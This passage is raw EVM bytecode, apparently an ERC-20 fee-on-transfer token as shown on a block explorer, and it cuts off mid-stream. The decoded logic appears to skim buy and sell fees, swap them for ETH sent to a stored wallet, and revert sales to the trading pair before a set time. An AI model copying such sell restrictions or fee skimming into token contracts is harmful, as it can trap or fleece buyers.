ffffffffffffffffffffffffffffffff16021790555050565b606060048054610ac390611e85565b80601f0160208091040260200160405190810160405280929190818152602001828054610aef90611e85565b8015610b3c5780601f10610b1157610100808354040283529160200191610b3c565b820191906000526020600020905b815481529060010190602001808311610b1f57829003601f168201915b5050505050905090565b60008060016000610b55610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c09906120f5565b60405180910390fd5b610c26610c1d610ec8565b85858403610ed0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c6b610c64610ec8565b8484611099565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610d0a610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9090611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff90612187565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690612219565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa5906122ab565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161108c9190611ca0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e906123cf565b60405180910390fd5b600081036111905761118b83836000611557565b611552565b600061119b3061077f565b90506000600e5482101590508080156111c15750600f60019054906101000a900460ff16155b801561121b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112335750600f60029054906101000a900460ff165b15611294576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff161561126e57600e5491505b61127885836117d6565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156112fe5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156113645750600c5442105b1561137557600061137457600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114185750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061142f5750600f60019054906101000a900460ff165b1561143d5760009050611503565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361149c576009549050611502565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036114fb57600a549050611501565b600b5490505b5b5b60008111156115435760006064828661151c91906123ef565b6115269190612460565b905080856115349190612491565b9450611541873083611557565b505b61154e868686611557565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bd9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162c906123cf565b60405180910390fd5b611640838383611ac6565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bd90612537565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117599190611f77565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117bd9190611ca0565b60405180910390a36117d0848484611acb565b50505050565b60004790506000600367ffffffffffffffff8111156117f8576117f7612557565b5b6040519080825280602002602001820160405280156118265781602001602082028036833780820191505090505b509050308160008151811061183e5761183d612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061188d5761188c612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611934573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195891906125ca565b8160028151811061196c5761196b612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611a0a9594939291906126f0565b600060405180830381600087803b158015611a2457600080fd5b505af1158015611a38573d6000803e3d6000fd5b5050505060008247611a4a9190612491565b90506000811115611abf57600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b0a578082015181840152602081019050611aef565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b3282611ad0565b611b3c8185611adb565b9350611b4c818560208601611aec565b611b5581611b16565b840191505092915050565b60006020820190508181036000830152611b7a8184611b27565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb282611b87565b9050919050565b611bc281611ba7565b8114611bcd57600080fd5b50565b600081359050611bdf81611bb9565b92915050565b6000819050919050565b611bf881611be5565b8114611c0357600080fd5b50565b600081359050611c1581611bef565b92915050565b60008060408385031215611c3257611c31611b82565b5b6000611c4085828601611bd0565b9250506020611c5185828601611c06565b9150509250929050565b60008115159050919050565b611c7081611c5b565b82525050565b6000602082019050611c8b6000830184611c67565b92915050565b611c9a81611be5565b82525050565b6000602082019050611cb56000830184611c91565b92915050565b600080600060608486031215611cd457611cd3611b82565b5b6000611ce286828701611bd0565b9350506020611cf386828701611bd0565b9250506040611d0486828701611c06565b9150509250925092565b600060ff82169050919050565b611d2481611d0e565b82525050565b6000602082019050611d3f6000830184611d1b565b92915050565b611d4e81611ba7565b82525050565b6000602082019050611d696000830184611d45565b92915050565b600060208284031215611d8557611d84611b82565b5b6000611d9384828501611bd0565b91505092915050565b6000819050919050565b6000611dc1611dbc611db784611b87565b611d9c565b611b87565b9050919050565b6000611dd382611da6565b9050919050565b6000611de582611dc8565b9050919050565b611df581611dda565b82525050565b6000602082019050611e106000830184611dec565b92915050565b60008060408385031215611e2d57611e2c611b82565b5b6000611e3b85828601611bd0565b9250506020611e4c85828601611bd0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e9d57607f821691505b602082108103611eb057611eaf611e56565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f12602883611adb565b9150611f1d82611eb6565b604082019050919050565b60006020820190508181036000830152611f4181611f05565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8282611be5565b9150611f8d83611be5565b9250828201905080821115611fa557611fa4611f48565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe1602083611adb565b9150611fec82611fab565b602082019050919050565b6000602082019050818103600083015261201081611fd4565b9050919050565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b600061204d601383611adb565b915061205882612017565b602082019050919050565b6000602082019050818103600083015261207c81612040565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120df602583611adb565b91506120ea82612083565b604082019050919050565b6000602082019050818103600083015261210e816120d2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612171602683611adb565b915061217c82612115565b604082019050919050565b600060208201905081810360008301526121a081612164565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612203602483611adb565b915061220e826121a7565b604082019050919050565b60006020820190508181036000830152612232816121f6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612295602283611adb565b91506122a082612239565b604082019050919050565b600060208201905081810360008301526122c481612288565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612327602583611adb565b9150612332826122cb565b604082019050919050565b600060208201905081810360008301526123568161231a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123b9602383611adb565b91506123c48261235d565b604082019050919050565b600060208201905081810360008301526123e8816123ac565b9050919050565b60006123fa82611be5565b915061240583611be5565b925082820261241381611be5565b9150828204841483151761242a57612429611f48565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061246b82611be5565b915061247683611be5565b92508261248657612485612431565b5b828204905092915050565b600061249c82611be5565b91506124a783611be5565b92508282039050818111156124bf576124be611f48565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612521602683611adb565b915061252c826124c5565b604082019050919050565b6000602082019050818103600083015261255081612514565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506125c481611bb9565b92915050565b6000602082840312156125e0576125df611b82565b5b60006125ee848285016125b5565b91505092915050565b6000819050919050565b600061261c612617612612846125f7565b611d9c565b611be5565b9050919050565b61262c81612601565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61266781611ba7565b82525050565b6000612679838361265e565b60208301905092915050565b6000602082019050919050565b600061269d82612632565b6126a7818561263d565b93506126b28361264e565b8060005b838110156126e35781516126ca888261266d565b97506126d583612685565b9250506001810190506126b6565b5085935050505092915050565b600060a0820190506127056000830188611c91565b6127126020830187612623565b81810360408301526127248186612692565b90506127336060830185611d45565b6127406080830184611c91565b969550505050505056fea26469706673582212204b471f67572862a548df488a64a6cb11184b7e22cdc256a9ae4be8d3781c5c6364736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146103ab578063a7c6402c146103db578063a9059cbb146103f9578063dd62ed3e14610429578063e2f4560514610459578063f2fde38b1461047757610158565b806370a08231146102fb57806370b7b80c1461032b578063715018a6146103495780638da5cb5b1461035357806391c1004a1461037157806395d89b411461038d57610158565b8063395093511161011557806339509351146102355780634706240214610265578063488eb37f1461028357806349bd5a5e146102a15780634ada218b146102bf578063702509fd146102dd57610158565b806306fdde031461015d578063095ea7b31461017b57806318160ddd146101ab57806323b872dd146101c95780632b14ca56146101f9578063313ce56714610217575b600080fd5b610165610493565b6040516101729190611b60565b60405180910390f35b61019560048036038101906101909190611c1b565b610525565b6040516101a29190611c76565b60405180910390f35b6101b3610543565b6040516101c09190611ca0565b60405180910390f35b6101e360048036038101906101de9190611cbb565b61054d565b6040516101f09190611c76565b60405180910390f35b61020161066c565b60405161020e9190611ca0565b60405180910390f35b61021f610672565b60405161022c9190611d2a565b60405180910390f35b61024f600480360381019061024a9190611c1b565b61067b565b60405161025c9190611c76565b60405180910390f35b61026d610727565b60405161027a9190611ca0565b60405180910390f35b61028b61072d565b6040516102989190611c76565b60405180910390f35b6102a9610740565b6040516102b69190611d54565b60405180910390f35b6102c7610766565b6040516102d49190611c76565b60405180910390f35b6102e5610779565b6040516102f29190611ca0565b60405180910390f35b61031560048036038101906103109190611d6f565b61077f565b6040516103229190611ca0565b60405180910390f35b6103336107c7565b6040516103409190611ca0565b60405180910390f35b6103516107cd565b005b61035b610925565b6040516103689190611d54565b60405180910390f35b61038b60048036038101906103869190611d6f565b61094f565b005b610395610ab4565b6040516103a29190611b60565b60405180910390f35b6103c560048036038101906103c09190611c1b565b610b46565b6040516103d29190611c76565b60405180910390f35b6103e3610c31565b6040516103f09190611dfb565b60405180910390f35b610413600480360381019061040e9190611c1b565b610c57565b6040516104209190611c76565b60405180910390f35b610443600480360381019061043e9190611e16565b610c75565b6040516104509190611ca0565b60405180910390f35b610461610cfc565b60405161046e9190611ca0565b60405180910390f35b610491600480360381019061048c9190611d6f565b610d02565b005b6060600380546104a290611e85565b80601f01602080910402602001604051908101604052809291908181526020018280546104ce90611e85565b801561051b5780601f106104f05761010080835404028352916020019161051b565b820191906000526020600020905b8154815290600101906020018083116104fe57829003601f168201915b5050505050905090565b6000610539610532610ec8565b8484610ed0565b6001905092915050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610599610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146106555782811015610640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063790611f28565b60405180910390fd5b6106548561064c610ec8565b858403610ed0565b5b610660858585611099565b60019150509392505050565b600a5481565b60006009905090565b600061071d610688610ec8565b848460016000610696610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107189190611f77565b610ed0565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b6107d5610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610864576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085b90611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610957610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dd90611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612063565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610ac390611e85565b80601f0160208091040260200160405190810160405280929190818152602001828054610aef90611e85565b8015610b3c5780601f10610b1157610100808354040283529160200191610b3c565b820191906000526020600020905b815481529060010190602001808311610b1f57829003601f168201915b5050505050905090565b60008060016000610b55610ec8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c09906120f5565b60405180910390fd5b610c26610c1d610ec8565b85858403610ed0565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c6b610c64610ec8565b8484611099565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610d0a610ec8565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9090611ff7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dff90612187565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690612219565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa5906122ab565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161108c9190611ca0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ff9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e906123cf565b60405180910390fd5b600081036111905761118b83836000611557565b611552565b600061119b3061077f565b90506000600e5482101590508080156111c15750600f60019054906101000a900460ff16155b801561121b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112335750600f60029054906101000a900460ff165b15611294576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff161561126e57600e5491505b61127885836117d6565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff1680156112fe5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156113645750600c5442105b1561137557600061137457600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114185750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061142f5750600f60019054906101000a900460ff165b1561143d5760009050611503565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361149c576009549050611502565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036114fb57600a549050611501565b600b5490505b5b5b60008111156115435760006064828661151c91906123ef565b6115269190612460565b905080856115349190612491565b9450611541873083611557565b505b61154e868686611557565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bd9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162c906123cf565b60405180910390fd5b611640838383611ac6565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156116c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bd90612537565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117599190611f77565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117bd9190611ca0565b60405180910390a36117d0848484611acb565b50505050565b60004790506000600367ffffffffffffffff8111156117f8576117f7612557565b5b6040519080825280602002602001820160405280156118265781602001602082028036833780820191505090505b509050308160008151811061183e5761183d612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050838160018151811061188d5761188c612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611934573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195891906125ca565b8160028151811061196c5761196b612586565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611a0a9594939291906126f0565b600060405180830381600087803b158015611a2457600080fd5b505af1158015611a38573d6000803e3d6000fd5b5050505060008247611a4a9190612491565b90506000811115611abf57600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b0a578082015181840152602081019050611aef565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b3282611ad0565b611b3c8185611adb565b9350611b4c818560208601611aec565b611b5581611b16565b840191505092915050565b60006020820190508181036000830152611b7a8184611b27565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb282611b87565b9050919050565b611bc281611ba7565b8114611bcd57600080fd5b50565b600081359050611bdf81611bb9565b92915050565b6000819050919050565b611bf881611be5565b8114611c0357600080fd5b50565b600081359050611c1581611bef565b92915050565b60008060408385031215611c3257611c31611b82565b5b6000611c4085828601611bd0565b9250506020611c5185828601611c06565b9150509250929050565b60008115159050919050565b611c7081611c5b565b82525050565b6000602082019050611c8b6000830184611c67565b92915050565b611c9a81611be5565b82525050565b6000602082019050611cb56000830184611c91565b92915050565b600080600060608486031215611cd457611cd3611b82565b5b6000611ce286828701611bd0565b9350506020611cf386828701611bd0565b9250506040611d0486828701611c06565b9150509250925092565b600060ff82169050919050565b611d2481611d0e565b82525050565b6000602082019050611d3f6000830184611d1b565b92915050565b611d4e81611ba7565b82525050565b6000602082019050611d696000830184611d45565b92915050565b600060208284031215611d8557611d84611b82565b5b6000611d9384828501611bd0565b91505092915050565b6000819050919050565b6000611dc1611dbc611db784611b87565b611d9c565b611b87565b9050919050565b6000611dd382611da6565b9050919050565b6000611de582611dc8565b9050919050565b611df581611dda565b82525050565b6000602082019050611e106000830184611dec565b92915050565b60008060408385031215611e2d57611e2c611b82565b5b6000611e3b85828601611bd0565b9250506020611e4c85828601611bd0565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e9d57607f821691505b602082108103611eb057611eaf611e56565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f12602883611adb565b9150611f1d82611eb6565b604082019050919050565b60006020820190508181036000830152611f4181611f05565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8282611be5565b9150611f8d83611be5565b9250828201905080821115611fa557611fa4611f48565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fe1602083611adb565b9150611fec82611fab565b602082019050919050565b6000602082019050818103600083015261201081611fd4565b9050919050565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b600061204d601383611adb565b915061205882612017565b602082019050919050565b6000602082019050818103600083015261207c81612040565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120df602583611adb565b91506120ea82612083565b604082019050919050565b6000602082019050818103600083015261210e816120d2565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612171602683611adb565b915061217c82612115565b604082019050919050565b600060208201905081810360008301526121a081612164565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612203602483611adb565b915061220e826121a7565b604082019050919050565b60006020820190508181036000830152612232816121f6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612295602283611adb565b91506122a082612239565b604082019050919050565b600060208201905081810360008301526122c481612288565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612327602583611adb565b9150612332826122cb565b604082019050919050565b600060208201905081810360008301526123568161231a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006123b9602383611adb565b91506123c48261235d565b604082019050919050565b600060208201905081810360008301526123e8816123ac565b9050919050565b60006123fa82611be5565b915061240583611be5565b925082820261241381611be5565b9150828204841483151761242a57612429611f48565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061246b82611be5565b915061247683611be5565b925082